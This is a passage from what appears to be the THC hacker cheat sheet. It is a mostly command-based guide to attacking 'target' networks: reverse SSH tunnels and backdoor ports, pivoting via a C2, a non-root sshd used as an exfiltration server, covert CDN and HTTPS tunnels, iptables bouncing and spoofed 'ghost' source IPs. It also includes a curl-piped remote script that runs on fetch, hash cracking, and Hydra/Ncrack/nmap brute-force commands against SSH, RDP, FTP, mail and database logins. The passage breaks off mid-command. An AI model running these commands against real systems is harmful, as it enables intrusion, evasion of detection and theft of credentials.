tunnel.&quot;\n   echo -e &quot;To ssh to ${USER:-root}@${2:-127.0.0.1}:${3:-22} type: \\e[0;36mssh -J ${pw}@ssh-j.com ${USER:-root}@${pw}\\e[0m&quot;\n   ssh -o StrictHostKeyChecking=accept-new -o ServerAliveInterval=30 -o ExitOnForwardFailure=yes ${pw}@ssh-j.com -N -R ${pw}:22:${2:-0}:${3:-22}\n}\n\nsshj                                 # Generates a random tunnel ID [e.g. 5dmxf27tl4kx] and keeps the tunnel connected\nsshj foobarblahblub                  # Creates tunnel to 127.0.0.1:22 with specific tunnel ID\nsshj foobarblahblub 192.168.0.1 2222 # Tunnel to host 192.168.0.1:2222 on the LAN<\/code><\/pre>\n<p>Then use this command from anywhere else in the world to connect as &#8216;root&#8217; to &#8216;foobarblahblub&#8217; (the host behind the NAT):<\/p>\n<pre><code class=\"lang-sh language-sh sh\">ssh -J foobarblahblub@ssh-j.com root@foobarblahblub<\/code><\/pre>\n<p>The ssh connection goes via ssh-j.com into the reverse tunnel to the host behind NAT. The traffic is end-2-end encrypted and ssh-j.com can not see the content.<\/p>\n<p><a id=\"ssh-pj\"><\/a>\n<strong>2.vi SSH pivoting to multiple servers<\/strong><\/p>\n<p>SSH ProxyJump can save you a lot of time and hassle when working with remote servers. Let&#8217;s assume the scenario:  <\/p>\n<p>Our workstation is $local-kali and we like to SSH into $target-host. There is no direct connection between our workstation and $target-host. Our workstation can only reach $C2. $C2 can reach $internal-jumphost (via internal eth1) and $internal-jumphost can reach the final $target-host via eth2.<\/p>\n<pre><code class=\"lang-sh language-sh sh\">          $local-kali       -&gt; $C2            -&gt; $internal-jumphost    -&gt; $target-host\neth0      192.168.8.160      10.25.237.119             \neth1                         192.168.5.130       192.168.5.135\neth2                                             172.16.2.120             172.16.2.121<\/code><\/pre>\n<blockquote>\n<p>We do not execute <code>ssh<\/code> on any computer but our trusted workstation &#8211; and neither shall you (ever).<\/p>\n<\/blockquote>\n<p>That&#8217;s where ProxyJump helps: We can &#8216;jump&#8217; via the two intermediary servers $C2 and $internal-jumphost (without spawning a shell on those servers). The ssh-connection is end-2-end encrypted between our $local-kali and $target-host and no password or key is exposed to $C2 or $internal-jumphost.<\/p>\n<pre><code class=\"lang-sh language-sh sh\">## if we want to SSH to $target-host:\nkali@local-kali$ ssh -J c2@10.25.237.119,jumpuser@192.168.5.135 target@172.16.2.121\n\n## if we want to SSH to just $internal-jumphost:\nkali@local-kali$ ssh -J c2@10.25.237.119 jumpuser@192.168.5.135<\/code><\/pre>\n<blockquote>\n<p>We use this as well to hide our IP address when logging into servers. <\/p>\n<\/blockquote>\n<p><a id=\"sshd-user\"><\/a>\n<strong>2.vii SSHD as user land<\/strong><\/p>\n<p>It is possible to start a SSHD server as a non-root user and use this to multiplex or forward TCP connection (without logging and when the systemwide SSHD forbids forwarding\/multiplexing) or as a quick exfil-dump-server that runs as non-root:<\/p>\n<pre><code class=\"lang-sh language-sh sh\"># On the server, as non-root user &#039;joe&#039;:\nmkdir -p ~\/.ssh 2&gt;\/dev\/null\nssh-keygen -q -N &quot;&quot; -t ed25519 -f sshd_key\ncat sshd_key.pub &gt;&gt;~\/.ssh\/authorized_keys\ncat sshd_key\n$(command -v sshd) -f \/dev\/null -o HostKey=$(pwd)\/sshd_key -o GatewayPorts=yes -p 31337 # -Dvvv<\/code><\/pre>\n<pre><code class=\"lang-sh language-sh sh\"># On the client, copy the sshd_key from the server. Then login:\n# Example: Proxy connection via the server and reverse-forward 31339 to localhost:\nssh -D1080 -R31339:0:31339 -i sshd_key -p 31337 joe@1.2.3.4\n# curl -x socks5h:\/\/0 ipinfo.io<\/code><\/pre>\n<p><a href=\"https:\/\/securesocketfunneling.github.io\/ssf\/#home\">SSF<\/a> is an alternative way to multiplex TCP over TLS.<\/p>\n<hr \/>\n<p><a id=\"network\"><\/a><\/p>\n<h2>3. Network<\/h2>\n<p><a id=\"discover\"><\/a>\n<strong>3.i. Discover hosts<\/strong><\/p>\n<pre><code class=\"lang-sh language-sh sh\">## ARP discover computers on the _LOCAL_ network only\nnmap -n -sn -PR -oG - 192.168.0.1\/24<\/code><\/pre>\n<pre><code class=\"lang-sh language-sh sh\">### ICMP discover hosts\nnmap -n -sn -PI -oG - 192.168.0.1\/24<\/code><\/pre>\n<pre><code class=\"lang-sh language-sh sh\">## ICMP discover hosts (local LAN) ROOT\n# NET=&quot;10.11.0&quot;  # discover 10.11.0.1-10.11.0.254\nseq 1 254 | xargs -P20 -I{} ping -n -c3 -i0.2 -w1 -W200 &quot;${NET:-192.168.0}.{}&quot; | grep &#039;bytes from&#039; | awk &#039;{print $4&quot; &quot;$7;}&#039; | sort -uV -k1,1<\/code><\/pre>\n<hr \/>\n<p><a id=\"tcpdump\"><\/a>\n<strong>3.ii. tcpdump<\/strong><\/p>\n<pre><code class=\"lang-sh language-sh sh\">## Monitor every new TCP connection\ntcpdump -np &#039;tcp[tcpflags] ^ (tcp-syn|tcp-ack) == 0&#039;\n\n## Play a *bing*-noise for every new SSH connection\ntcpdump -nplq &#039;tcp[13] == 2 and dst port 22&#039; | while read -r x; do echo &quot;${x}&quot;; echo -en \\\\a; done\n\n## Ascii output (for all large packets. Change to &gt;40 if no TCP options are used).\ntcpdump -npAq -s0 &#039;tcp and (ip[2:2] &gt; 60)&#039;<\/code><\/pre>\n<hr \/>\n<p><a id=\"tunnel\"><\/a>\n<strong>3.iii. Tunnel and forwarding<\/strong><\/p>\n<pre><code class=\"lang-sh language-sh sh\">## Connect to SSL (using socat)\nsocat stdio openssl-connect:smtp.gmail.com:465\n\n## Connect to SSL (using openssl)\nopenssl s_client -connect smtp.gmail.com:465<\/code><\/pre>\n<pre><code class=\"lang-sh language-sh sh\">## Bridge TCP to SSL\nsocat TCP-LISTEN:25,reuseaddr,fork  openssl-connect:smtp.gmail.com:465<\/code><\/pre>\n<hr \/>\n<p><a id=\"ports\"><\/a>\n<strong>3.iii.a Raw TCP reverse ports<\/strong><\/p>\n<p>Useful for reverse backdoors that need a TCP Port on a PUBLIC IP Address:<\/p>\n<p>Using <a href=\"https:\/\/thc.org\/segfault.net\">segfault.net<\/a> (free):<\/p>\n<pre><code class=\"lang-sh language-sh sh\"># Request a random public TCP port:\ncurl sf\/port\necho &quot;Your public IP:PORT is $(cat \/config\/self\/reverse_ip):$(cat \/config\/self\/reverse_port)&quot;\nnc -vnlp $(cat \/config\/self\/reverse_port)<\/code><\/pre>\n<p>Using <a href=\"https:\/\/github.com\/ekzhang\/bore\">bore.pub<\/a> (free):<\/p>\n<pre><code class=\"lang-sh language-sh sh\"># Forward a random public TCP port to localhost:31337\nbore local 31337 --to bore.pub<\/code><\/pre>\n<p>using <a href=\"https:\/\/serveo.net\">serveo.net<\/a> (free):<\/p>\n<pre><code class=\"lang-sh language-sh sh\"># Forward a random public TCP port to localhost:31337\nssh -R 0:localhost:31337 tcp@serveo.net<\/code><\/pre>\n<p>using <a href=\"https:\/\/www.pinggy.io\">pinggy.io<\/a> (60 mins free):<\/p>\n<pre><code class=\"lang-sh language-sh sh\">ssh -p 443 -R 0:localhost:31337 tcp@a.pinggy.io<\/code><\/pre>\n<p>See also <a href=\"#revese-shell-remote-moe\">remote.moe<\/a> (free) to forward raw TCP from the target to your workstation or <a href=\"https:\/\/playit.gg\/\">playit<\/a> (free) or <a href=\"https:\/\/ngrok.com\/\">ngrok<\/a> (paid subscription) to forward a raw public TCP port.<\/p>\n<p>Other free services are limited to forward HTTPS only (not raw TCP). Some tricks below show how to tunnel raw TCP over HTTPS forwards (using websockets).<\/p>\n<hr \/>\n<p><a id=\"https\"><\/a>\n<strong>3.iii.b HTTPS reverse tunnels<\/strong><\/p>\n<p>On the server, use any one of these three HTTPS tunneling services:  <\/p>\n<pre><code class=\"lang-sh language-sh sh\">### Reverse HTTPS tunnel to forward public HTTPS requests to this server&#039;s port 8080:\nssh -R80:0:8080 -o StrictHostKeyChecking=accept-new nokey@localhost.run\n### Or using remote.moe\nssh -R80:0:8080 -o StrictHostKeyChecking=accept-new nokey@remote.moe\n### Or using cloudflared\ncurl -fL -o cloudflared https:\/\/github.com\/cloudflare\/cloudflared\/releases\/latest\/download\/cloudflared-linux-amd64\nchmod 755 cloudflared\ncloudflared tunnel --url http:\/\/localhost:8080 --no-autoupdate<\/code><\/pre>\n<p>Either service will generate a new temporary HTTPS-URL for you to use.  <\/p>\n<p>Then, use <a href=\"https:\/\/github.com\/vi\/websocat\">websocat<\/a> or <a href=\"https:\/\/iq.thc.org\/tunnel-via-cloudflare-to-any-tcp-service\">Gost<\/a> on both ends to tunnel raw TCP over the HTTPS URL:<\/p>\n<p>A. A simple STDIN\/STDOUT pipe via HTTPS:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">### On the server convert WebSocket to raw TCP:\nwebsocat -s 8080<\/code><\/pre>\n<pre><code class=\"lang-sh language-sh sh\">### On the remote target forward stdin\/stdout to WebSocket:\nwebsocat wss:\/\/&lt;HTTPS-URL&gt;<\/code><\/pre>\n<p>B. Forward raw TCP via HTTPS:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">### On the server: Gost will translate any HTTP-websocket request to a TCP socks5 request:\ngost -L mws:\/\/:8080<\/code><\/pre>\n<p>Forward port 2222 to the server&#8217;s port 22.<\/p>\n<pre><code class=\"lang-sh language-sh sh\">### On the workstation:\ngost -L tcp:\/\/:2222\/127.0.0.1:22 -F &#039;mwss:\/\/&lt;HTTPS-URL&gt;:443&#039;\n### Test the connection (will connect to localhost:22 on the server)\nnc -vn 127.0.0.1 2222<\/code><\/pre>\n<p>or use the server as a Socks-Proxy EXIT node (e.g. access any host inside the server&#8217;s network or even the Internet via the server (using the HTTPS reverse tunnel from above):<\/p>\n<pre><code class=\"lang-sh language-sh sh\">### On the workstation:\ngost -L :1080 -F &#039;mwss:\/\/&lt;HTTPS-URL&gt;:443&#039;\n### Test the Socks-proxy:\ncurl -x socks5h:\/\/0 ipinfo.io<\/code><\/pre>\n<p>More: <a href=\"https:\/\/github.com\/twelvesec\/port-forwarding\">https:\/\/github.com\/twelvesec\/port-forwarding<\/a> and <a href=\"https:\/\/iq.thc.org\/tunnel-via-cloudflare-to-any-tcp-service\">Tunnel via Cloudflare to any TCP Service<\/a> and <a href=\"https:\/\/github.com\/anderspitman\/awesome-tunneling\">Awesome Tunneling<\/a>.<\/p>\n<hr \/>\n<p><a id=\"iptables\"><\/a>\n<strong>3.iii.c Bouncing traffic with iptables<\/strong><\/p>\n<p>Bounce through a host\/router without needing to run a userland proxy or forwarder:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">bounceinit() {\n    echo 1 &gt;\/proc\/sys\/net\/ipv4\/ip_forward\n    echo 1 &gt;\/proc\/sys\/net\/ipv4\/conf\/all\/route_localnet\n    [ $# -le 0 ] &amp;&amp; set -- &quot;0.0.0.0\/0&quot;\n    while [ $# -gt 0 ]; do\n        iptables -t mangle -I PREROUTING -s &quot;${1}&quot; -p tcp -m addrtype --dst-type LOCAL -m conntrack ! --ctstate ESTABLISHED -j MARK --set-mark 1188 \n        shift 1\n    done\n    iptables -t mangle -D PREROUTING -j CONNMARK --restore-mark &gt;\/dev\/null 2&gt;\/dev\/null\n    iptables -t mangle -I PREROUTING -j CONNMARK --restore-mark\n    iptables -I FORWARD -m mark --mark 1188 -j ACCEPT\n    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j MASQUERADE\n    iptables -t nat -I POSTROUTING -m mark --mark 1188 -j CONNMARK --save-mark\n}\nbounce() {\n    iptables -t nat -A PREROUTING -p tcp --dport &quot;${1:?}&quot; -m mark --mark 1188 -j DNAT --to ${2:?}:${3:?}\n}\nbounceinit                             # Allow EVERY IP to bounce\n# bounceinit &quot;1.2.3.4\/16&quot; &quot;6.6.0.0\/16&quot; # Only allow these SOURCE IP&#039;s to bounce<\/code><\/pre>\n<p>(See <a href=\"https:\/\/github.com\/hackerschoice\/hackshell\">Hackshell<\/a> <code>bounce<\/code>)<\/p>\n<p>Then set forwards like so:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">bounce 31337 144.76.220.20 22 # Bounce 31337 to segfault&#039;s ssh port.\nbounce 31338 127.0.0.1 8080   # Bounce 31338 to the server&#039;s 8080 (localhost)\nbounce 53 213.171.212.212 443 # Bounce 53 to gsrn-relay on port 443<\/code><\/pre>\n<p>We use this trick to reach the gsocket-relay-network (or TOR) from deep inside firewalled networks.<\/p>\n<pre><code class=\"lang-sh language-sh sh\"># Deploy on a target that can only reach 192.168.0.100  \nGS_HOST=192.168.0.100 GS_PORT=53 .\/deploy.sh  <\/code><\/pre>\n<pre><code class=\"lang-sh language-sh sh\"># Access the target  \nGS_HOST=213.171.212.212 gs-netcat -i -s ...<\/code><\/pre>\n<hr \/>\n<p><a id=\"ghost\"><\/a>\n<strong>3.vi.c Ghost IP \/ IP Spoofing<\/strong><\/p>\n<p>Useful on a host inside the target network. This tool re-configured (without trace) the SHELL: Any program (nmap, cme, &#8230;) started from this SHELL will use a fake IP. All your attacks will originate from a host that does not exist.<\/p>\n<pre><code class=\"lang-sh language-sh sh\">source &lt;(curl -fsSL https:\/\/github.com\/hackerschoice\/thc-tips-tricks-hacks-cheat-sheet\/raw\/master\/tools\/ghostip.sh)<\/code><\/pre>\n<p>This also works in combination with:<\/p>\n<ul>\n<li><a href=\"https:\/\/thc.org\/segfault\/wireguard\">Segfault&#8217;s ROOT Servers<\/a>: Will connect your ROOT Server to the TARGET NETWORK and using a Ghost IP inside the target network.<\/li>\n<li><a href=\"https:\/\/securelist.com\/network-tunneling-with-qemu\/111803\/\">QEMU Tunnels<\/a>: As above, but less secure.<\/li>\n<\/ul>\n<hr \/>\n<p><a id=\"tunnel-more\"><\/a>\n<strong>3.vi.d Various Tunnel Tricks<\/strong><\/p>\n<h3>Tunnel via CDN<\/h3>\n<ul>\n<li>Read <a href=\"https:\/\/iq.thc.org\/tunnel-via-cloudflare-to-any-tcp-service\">How to tunnel any TCP service via CloudFlare<\/a> or use <a href=\"https:\/\/github.com\/doxx\/darkflare\">DarkFlare<\/a>.<\/li>\n<\/ul>\n<h3>Connect your host directly to the remote network<\/h3>\n<ul>\n<li><a href=\"https:\/\/github.com\/sandialabs\/wiretap\">WireTap<\/a> &#8211; Works as user or root. Uses UDP as transport. (<a href=\"https:\/\/thc.org\/segfault\/wireguard\">Try it<\/a> on segfault.)<\/li>\n<li><a href=\"https:\/\/github.com\/nicocha30\/ligolo-ng\">ligolo-ng<\/a> &#8211; Uses TCP as transport. Works well via <a href=\"https:\/\/iq.thc.org\/tunnel-via-cloudflare-to-any-tcp-service\">cloudflare CDN<\/a> or gs-netcat.<\/li>\n<\/ul>\n<h3>Use SSH as a cheap reverse proxy via Cloudflare<\/h3>\n<p>This method is similar to <a href=\"#https\">HTTPS reverse tunnels<\/a> but uses SSH instead of Gost or websocat.<\/p>\n<ul>\n<li>Advantage: Only uses <em>cloudflared<\/em> and <em>SSH<\/em> on the target.<\/li>\n<li>Disadvantage: Needs a CF subscription.<\/li>\n<\/ul>\n<ol>\n<li>Go to your CF Dashboard -&gt; Zero Trust -&gt; Networks -&gt; Tunnels<\/li>\n<li>Create a new &#8216;Cloudflared&#8217; tunnel of any name.<\/li>\n<li>Select Debian &amp; 64-bit. The Token is not fully shown. Extract the &#8220;Token&#8221; by copying the grayed out area into a separate document to reveal the entire Token (the long hex-strings after `sudo cloudflared service install \n`).<\/li>\n<li>Add a subdomain (example uses <code>ssh.team-teso.net<\/code>).<\/li>\n<li>Set Type=TCP URL=localhost:22<\/li>\n<\/ol>\n<pre><code class=\"lang-shell language-shell shell\">### On YOUR workstation:\ncloudflared tunnel run --token TunnelTokenHere<\/code><\/pre>\n<pre><code class=\"lang-shell language-shell shell\">### On the TARGET, create a reverse-SOCKS connection with SSH over Cloudflare:\nssh -o ProxyCommand=&quot;cloudflared access tcp --hostname ssh.team-teso.net&quot; root@0 -R 1080<\/code><\/pre>\n<pre><code class=\"lang-shell language-shell shell\">### On your workstation, connect to _any_ host within the target network (example: ipinfo.io)\ncurl -x socks5h:\/\/0 https:\/\/ipinfo.io<\/code><\/pre>\n<p>Use <a href=\"#scan-proxy\">ProxyChains or GrafTCP to tunnel<\/a> other protocols via the reverse proxy.<\/p>\n<hr \/>\n<p><a id=\"scan-proxy\"><\/a>\n<strong>3.iv. Use any tool via Socks Proxy<\/strong><\/p>\n<h3>Create a tunnel from the target to your workstation using gsocket:<\/h3>\n<p>On the target&#8217;s network:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">## Create a SOCKS proxy into the target&#039;s network.\n## Use gs-netcat but ssh -D would work as well.\ngs-netcat -l -S<\/code><\/pre>\n<p>On your workstation:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">## Create a gsocket tunnel into the target&#039;s network:\ngs-netcat -p 1080<\/code><\/pre>\n<h3>Using ProxyChain:<\/h3>\n<pre><code class=\"lang-sh language-sh sh\">## Use ProxyChain to access any host on the target&#039;s network: \necho -e &quot;[ProxyList]\\nsocks5 127.0.0.1 1080&quot; &gt;pc.conf\nproxychains -f pc.conf -q curl ipinfo.io\n## Scan the router at 192.168.1.1\nproxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.1\n## Start 10 nmaps in parallel:\nseq 1 254 | xargs -P10 -I{} proxychains -f pc.conf -q nmap -n -Pn -sV -F --open 192.168.1.{} <\/code><\/pre>\n<h3>Using GrafTCP:<\/h3>\n<pre><code class=\"lang-sh language-sh sh\">## Use graftcp to access any host on the target&#039;s network:\n(graftcp-local -select_proxy_mode only_socks5 &amp;)\ngraftcp curl ipinfo.io\ngraftcp ssh root@192.168.1.1\ngraftcp nmap -n -Pn -sV -F --open 19.168.1.1<\/code><\/pre>\n<hr \/>\n<p><a id=\"your-ip\"><\/a>\n<strong>3.v. Find your public IP address<\/strong><\/p>\n<pre><code class=\"lang-sh language-sh sh\">curl -s wtfismyip.com\/json | jq\ncurl ifconfig.me\ndig +short myip.opendns.com @resolver1.opendns.com\nhost myip.opendns.com resolver1.opendns.com<\/code><\/pre>\n<p>Get geolocation information about any IP address:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">curl https:\/\/ipinfo.io\/8.8.8.8 | jq\ncurl http:\/\/ip-api.com\/8.8.8.8\ncurl https:\/\/cli.fyi\/8.8.8.8<\/code><\/pre>\n<p>Get ASN information by IP address:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">asn() {\n  [[ -n $1 ]] &amp;&amp; { echo -e &quot;begin\\nverbose\\n${1}\\nend&quot;|netcat whois.cymru.com 43| tail -n +2; return; }\n  (echo -e &#039;begin\\nverbose&#039;;cat -;echo end)|netcat whois.cymru.com 43|tail -n +2\n}\nasn 1.1.1.1           # Single IP Lookup\ncat IPS.txt | asn     # Bulk Lookup<\/code><\/pre>\n<p>Check if TOR is working:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">curl -x socks5h:\/\/localhost:9050 -s https:\/\/check.torproject.org\/api\/ip\n### Result should be {&quot;IsTor&quot;:true...<\/code><\/pre>\n<hr \/>\n<p><a id=\"check-reachable\"><\/a>\n<strong>3.vi. Check reachability from around the world<\/strong><\/p>\n<p>The fine people at <a href=\"https:\/\/ping.pe\/\">https:\/\/ping.pe\/<\/a> let you ping\/traceroute\/mtr\/dig\/port-check a host from around the world, check TCP ports, resolve a domain name, &#8230;and many other things.<\/p>\n<p>To check how well your (current) host can reach Internet use <a href=\"https:\/\/ooni.org\/support\/ooni-probe-cli\">OONI Probe<\/a>:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">ooniprobe run im\nooniprobe run websites\nooniprobe list\nooniprobe list 1<\/code><\/pre>\n<hr \/>\n<p><a id=\"check-open-ports\"><\/a>\n<strong>3.vii. Check\/Scan Open Ports on an IP<\/strong><\/p>\n<p><a href=\"https:\/\/search.censys.io\/\">Censys<\/a> or <a href=\"https:\/\/internetdb.shodan.io\">Shodan<\/a> Port lookup service:<\/p>\n<pre><code class=\"lang-shell language-shell shell\">curl https:\/\/internetdb.shodan.io\/1.1.1.1<\/code><\/pre>\n<p>Fast (-F) vulnerability scan<\/p>\n<pre><code class=\"lang-shell language-shell shell\"># Version gathering\nnmap nmap -n -Pn -sCV -F --open --min-rate 10000 scanme.nmap.org\n# Vulns\nnmap -A -F -Pn --min-rate 10000 --script vulners.nse --script-timeout=5s scanme.nmap.org<\/code><\/pre>\n<p>Scan for open TCP ports:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">_scan_single() {\n    local opt=(&quot;${2}&quot;)\n    [ -f &quot;$2&quot; ] &amp;&amp; opt=(&quot;-iL&quot; &quot;$2&quot;)\n    nmap -Pn -p&quot;${1}&quot; --open -T4 -n -oG - &quot;${opt[@]}&quot; 2&gt;\/dev\/null | grep -F Ports\n}\nscan() {\n    local port=&quot;${1:?}&quot;\n    shift 1\n    for ip in &quot;$@&quot;; do\n        _scan_single &quot;$port&quot; &quot;$ip&quot;\n    done\n}\n# scan \n&lt;ports&gt; &lt;IP or file&gt; ...\n# scan 22,80,443 192.168.0.1\n# scan - 192.168.0.1-254&quot; 10.0.0.1-254<\/code><\/pre>\n<p>(See <a href=\"https:\/\/github.com\/hackerschoice\/hackshell\">Hackshell<\/a> <code>scan<\/code>)<\/p>\n<p>Simple bash port-scanner:<\/p>\n<pre><code class=\"lang-shell language-shell shell\">timeout 5 bash -c &quot;&lt;\/dev\/tcp\/1.2.3.4\/31337&quot; &amp;&amp; echo OPEN || echo CLOSED<\/code><\/pre>\n<hr \/>\n<p><a id=\"bruteforce\"><\/a>\n<strong>3.viii. Crack Password hashes<\/strong><\/p>\n<ol>\n<li><a href=\"https:\/\/ntlm.pw\/\">NTLM2password<\/a> to crack (lookup) NTLM passwords<\/li>\n<li><a href=\"https:\/\/wpa-sec.stanev.org\">wpa-sec<\/a> to crack (lookup) WPA PSK passwords<\/li>\n<\/ol>\n<p>HashCat is our go-to tool for everything else:<\/p>\n<pre><code class=\"lang-shell language-shell shell\">hashcat my-hash \/usr\/share\/wordlists\/rockyou.txt<\/code><\/pre>\n<p>Using a <a href=\"https:\/\/github.com\/sean-t-smith\/Extreme_Breach_Masks\/\">10-days 7-16 char hashmask<\/a> on GPU:<\/p>\n<pre><code class=\"lang-sh language-sh sh\">curl -fsSL https:\/\/github.com\/sean-t-smith\/Extreme_Breach_Masks\/raw\/main\/10%2010-days\/10-days_7-16.hcmask -o 10-days_7-16.hcmask\n# -d2 == Use GPU #2 only (device #2)\n# -O  == Up to 50% faster but limits password length to &lt;= 15\n# -w1 == workload low (-w3 == high)\nnice -n 19 hashcat -o cracked.txt my-hash.txt -w1 -a3 10-days_7-16.hcmask -O -d2<\/code><\/pre>\n<p>Crack OpenSSH&#8217;s <code>known_hosts<\/code> hashes to reveal the IP address:<\/p>\n<pre><code class=\"lang-shell language-shell shell\">curl -SsfL https:\/\/github.com\/chris408\/known_hosts-hashcat\/raw\/refs\/heads\/master\/ipv4_hcmask.txt -O\ncurl -SsfL https:\/\/github.com\/chris408\/known_hosts-hashcat\/raw\/refs\/heads\/master\/kh-converter.py -O\npython3 kh-converter.py ~\/.ssh\/known_hosts &gt;known_hosts_hashes\nhashcat -m 160 --quiet --hex-salt known_hosts_hashes -a 3 ipv4_hcmask.txt <\/code><\/pre>\n<p>\ud83d\udc49 Read the <a href=\"https:\/\/hashcat.net\/wiki\/doku.php?id=frequently_asked_questions\">FAQ<\/a>.<\/p>\n<p>Be aware that <code>$6$<\/code> hashes are SLOW. Even the <a href=\"https:\/\/github.com\/sean-t-smith\/Extreme_Breach_Masks\/raw\/main\/01%20instant_1-minute\/1-minute_7-16.hcmask\">1-minute 7-16 char hashmask<\/a> would take many days on a 8xRTX4090 cluster to complete.<\/p>\n<p>Rent a RTX-4090 GPU-Cluster at <a href=\"https:\/\/www.vast.ai\">vast.ai<\/a> for $0.40\/h and use <a href=\"https:\/\/hub.docker.com\/r\/dizcza\/docker-hashcat\">dizcza\/docker-hashcat:cuda<\/a> (<a href=\"https:\/\/adamsvoboda.net\/password-cracking-in-the-cloud-with-hashcat-vastai\/\">read more<\/a>).<\/p>\n<p>Otherwise, use <a href=\"https:\/\/crackstation.net\">Crackstation<\/a>, <a href=\"https:\/\/shuck.sh\/\">shuck.sh<\/a>, <a href=\"https:\/\/github.com\/someshkar\/colabcat\">ColabCat\/cloud<\/a>\/<a href=\"https:\/\/github.com\/JoelGMSec\/Cloudtopolis\">Cloudtopolis<\/a> or crack on your own <a href=\"https:\/\/akimbocore.com\/article\/hashcracking-with-aws\/\">AWS<\/a> instances.<\/p>\n<p><strong>3.xi. Brute Force Passwords \/ Keys<\/strong><\/p>\n<p>The following is for brute forcing (guessing) passwords of ONLINE SERVICES.<\/p>\n<p><a id=\"gmail\"><\/a><\/p>\n<details>\n\n<summary>GMail Imbeciles &#8211; CLICK HERE<\/summary>\n\n&gt; You can not brute force GMAIL accounts.  \n&gt; SMTP AUTH\/LOGIN IS DISABLED ON GMAIL.  \n&gt; All GMail Brute Force and Password Cracking tools are FAKE.\n<\/details>\n<p>All tools are pre-installed on segfault:<\/p>\n<pre><code class=\"lang-shell language-shell shell\">ssh root@segfaul.net # password is &#039;segfault&#039;<\/code><\/pre>\n<p>(You may want to use your <a href=\"https:\/\/www.thc.org\/segfault\/wireguard\">own EXIT node<\/a>)<\/p>\n<p>Tools:<\/p>\n<ul>\n<li><a href=\"https:\/\/nmap.org\/ncrack\/man.html\">Ncrack<\/a><\/li>\n<li><a href=\"https:\/\/nmap.org\/nsedoc\/categories\/brute.html\">Nmap BRUTE<\/a><\/li>\n<li><a href=\"https:\/\/sectools.org\/tool\/hydra\/\">THC Hydra<\/a><\/li>\n<li><a href=\"https:\/\/www.geeksforgeeks.org\/password-cracking-with-medusa-in-linux\/\">Medusa<\/a> \/ <a href=\"http:\/\/foofus.net\/goons\/jmk\/medusa\/medusa.html\">docs<\/a><\/li>\n<li><a href=\"https:\/\/docs.rapid7.com\/metasploit\/bruteforce-attacks\/\">Metasploit<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/galkan\/crowbar\">Crowbar<\/a> &#8211; great for trying all ssh keys on a target IP range.<\/li>\n<\/ul>\n<p>Username &amp; Password lists:<\/p>\n<ul>\n<li><code>\/usr\/share\/nmap\/nselib\/data<\/code>  <\/li>\n<li><code>\/usr\/share\/wordlists\/seclists\/Passwords<\/code><\/li>\n<li><a href=\"https:\/\/github.com\/berzerk0\/Probable-Wordlists\">https:\/\/github.com\/berzerk0\/Probable-Wordlists<\/a> &#8211; &gt;THC&#8217;s FAVORITE&lt;<\/li>\n<li><a href=\"https:\/\/github.com\/danielmiessler\/SecLists\">https:\/\/github.com\/danielmiessler\/SecLists<\/a>  <\/li>\n<li><a href=\"https:\/\/wordlists.assetnote.io\">https:\/\/wordlists.assetnote.io<\/a>  <\/li>\n<li><a href=\"https:\/\/weakpass.com\">https:\/\/weakpass.com<\/a>  <\/li>\n<li><a href=\"https:\/\/crackstation.net\/\">https:\/\/crackstation.net\/<\/a>  <\/li>\n<\/ul>\n<p>Set <strong>U<\/strong>sername\/<strong>P<\/strong>assword list and <strong>T<\/strong>arget host.<\/p>\n<pre><code class=\"lang-shell language-shell shell\">ULIST=&quot;\/usr\/share\/wordlists\/brutespray\/mysql\/user&quot;\nPLIST=&quot;\/usr\/share\/wordlists\/seclists\/Passwords\/500-worst-passwords.txt&quot;\nT=&quot;192.168.0.1&quot;<\/code><\/pre>\n<p>Useful <strong>Nmap<\/strong> parameters:<\/p>\n<pre><code class=\"lang-shell language-shell shell\">--script-args userdb=&quot;${ULIST}&quot;,passdb=&quot;${PLIST}&quot;,brute.firstOnly<\/code><\/pre>\n<p>Useful <strong>Ncrack<\/strong> parameters:<\/p>\n<pre><code class=\"lang-shell language-shell shell\">-U &quot;${ULIST}&quot;\n-P &quot;${PLIST}&quot;<\/code><\/pre>\n<p>Useful <strong>Hydra<\/strong> parameters:<\/p>\n<pre><code class=\"lang-shell language-shell shell\">-t4      # Limit to 4 tasks\n-l root  # Set username\n-V       # Show each login\/password attempt\n-s 31337 # Set port\n-S       # Use SSL\n-f       # Exit after first valid login<\/code><\/pre>\n<!--\n```shell\n## HTTP Login\nhydra -l admin -P \"${PLIST}\" http-post-fomr \"\/admin.php:u=^USER&amp;p-^PASS&amp;f=login:'Enter'\" -v\n```\n-->\n<pre><code class=\"lang-shell language-shell shell\">## SSH\nnmap -p 22 --script ssh-brute --script-args ssh-brute.timeout=4s &quot;$T&quot;\nncrack -P &quot;${PLIST}&quot; --user root &quot;ssh:\/\/${T}&quot;\nhydra -P &quot;${PLIST}&quot; -l root &quot;ssh:\/\/$T&quot;<\/code><\/pre>\n<pre><code class=\"lang-shell language-shell shell\">## Remote Desktop Protocol \/ RDP\nncrack -P &quot;${PLIST}&quot; --user root -p3389 &quot;${T}&quot;\nhydra -P &quot;${PLIST}&quot; -l root &quot;rdp:\/\/$T&quot;<\/code><\/pre>\n<pre><code class=\"lang-shell language-shell shell\">## FTP\nhydra -P &quot;${PLIST}&quot; -l user &quot;ftp:\/\/$T&quot;<\/code><\/pre>\n<pre><code class=\"lang-shell language-shell shell\">## IMAP (email)\nnmap -p 143,993 --script imap-brute &quot;$T&quot;<\/code><\/pre>\n<pre><code class=\"lang-shell language-shell shell\">## POP3 (email)\nnmap -p110,995 --script pop3-brute &quot;$T&quot;<\/code><\/pre>\n<pre><code class=\"lang-shell language-shell shell\">## MySQL\nnmap -p3306 --script mysql-brute &quot;$T&quot;<\/code><\/pre>\n<pre><code class=\"lang-shell language-shell shell\">## PostgreSQL\nnmap -p5432 --script pgsql-brute &quot;$T&quot;<\/code><\/pre>\n<pre><code class=\"lang-shell language-shell shell\">## SMB (windows)\nnmap --script 